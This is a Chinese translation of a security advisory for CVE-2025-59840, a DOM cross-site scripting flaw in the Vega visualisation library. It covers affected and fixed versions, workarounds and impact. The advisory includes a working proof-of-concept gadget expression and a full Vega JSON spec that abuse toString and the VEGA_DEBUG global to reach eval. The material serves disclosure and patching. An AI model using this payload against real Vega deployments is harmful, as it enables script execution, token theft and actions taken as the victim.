Vega表达式滥用toString调用导致跨站脚本(XSS)漏洞分析

25 阅读2分钟

Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable · CVE-2025-59840

漏洞详情

影响范围

满足以下两个条件的应用程序面临任意JavaScript代码执行风险,即使使用"安全模式"表达式解释器:

  • 在应用程序中将vega库和vega.View实例附加到全局window对象(类似于Vega Editor的做法)
  • 允许用户定义的Vega JSON定义(而非仅通过源代码提供的JSON)

修复版本

如果使用最新的Vega 6.x系列:

  • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1(如果使用AST评估器模式)

如果使用非ESM环境中的Vega:

  • vega-expression 5.2.1 / 1.2.1(如果使用AST评估器模式)

临时解决方案

用户无需升级即可修复或缓解漏洞的方法:

  • 不要将vega View实例附加到全局变量,正如编辑器曾经的做法
  • 不要将vega库附加到全局window对象,正如编辑器曾经的做法

这些将vega库和View实例附加到全局的做法可能便于调试,但不应在生产环境或任何可能由不受信任方提供vega/vega-lite定义的情况下使用。

PoC摘要

Vega在安全上下文中提供表达式评估,禁止任意函数调用。当事件暴露给表达式时,可以获取window对象的成员。由于这种暴露,在某些应用程序中,精心构造的重写其toString方法的对象可以通过调用this.foo(this.bar)实现DOM XSS。

实际上,全局VEGA_DEBUG代码中存在这样的可访问小工具:

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

PoC详情

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }
      ]
    }
  ]
}

此有效载荷创建了一个场景:每当移动鼠标时,尝试将其与1相加时会隐式调用所提供对象的toString函数。toString函数已被重写为"小工具函数"(VEGA_DEBUG.vega.CanvasHandler.prototype.on),该函数执行以下操作:

on(a, o) {
    const u = this.eventName(a)
      , d = this._handlers;
    if (this._handlerIndex(d[u], a, o) < 0) {
    ....
    }
    ....
}

PoC链接

导航到vega编辑器,移动鼠标,观察配置中的任意JavaScript到达eval接收器并实现DOM XSS。

未来调查

在未启用VEGA_DEBUG的情况下,理论上可能存在其他全局范围内的小工具允许类似行为。在使用AST评估器且存在阻止获取eval引用的情况下,理论上可能存在其他全局范围内的小工具(如jQuery),允许以相同方式实现eval(如$.globalEval)。截至本文撰写时,尚未发现此类全局范围内的小工具。

影响

此漏洞允许DOM XSS,可能是存储型或反射型,具体取决于库的使用方式。该漏洞需要用户与页面交互才能触发。

攻击者可以通过诱骗用户打开恶意的Vega规范来利用此问题。成功利用允许攻击者在应用程序域的上下文中执行任意JavaScript。这可能导致窃取敏感信息(如身份验证令牌)、操纵向用户显示的数据或以受害者身份执行未经授权的操作。此漏洞危及受影响应用程序的机密性和完整性。

技术规格

严重程度

  • 高危 - CVSS总体评分:8.1

CVSS v3基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:需要
  • 范围:未改变
  • 机密性:高
  • 完整性:高
  • 可用性:无

弱点

  • CWE-79 - 在网页生成过程中输入中和不当(跨站脚本)

标识符

  • CVE ID: CVE-2025-59840
  • GHSA ID: GHSA-7f2v-3qq3-vvjf

受影响版本

npm vega包: < 6.20 npm vega-expression包: >= 6.0.0, < 6.1.0 或 < 5.2.1 npm vega-interpreter包: >= 2.0.0, < 2.2.1 或 < 1.2.1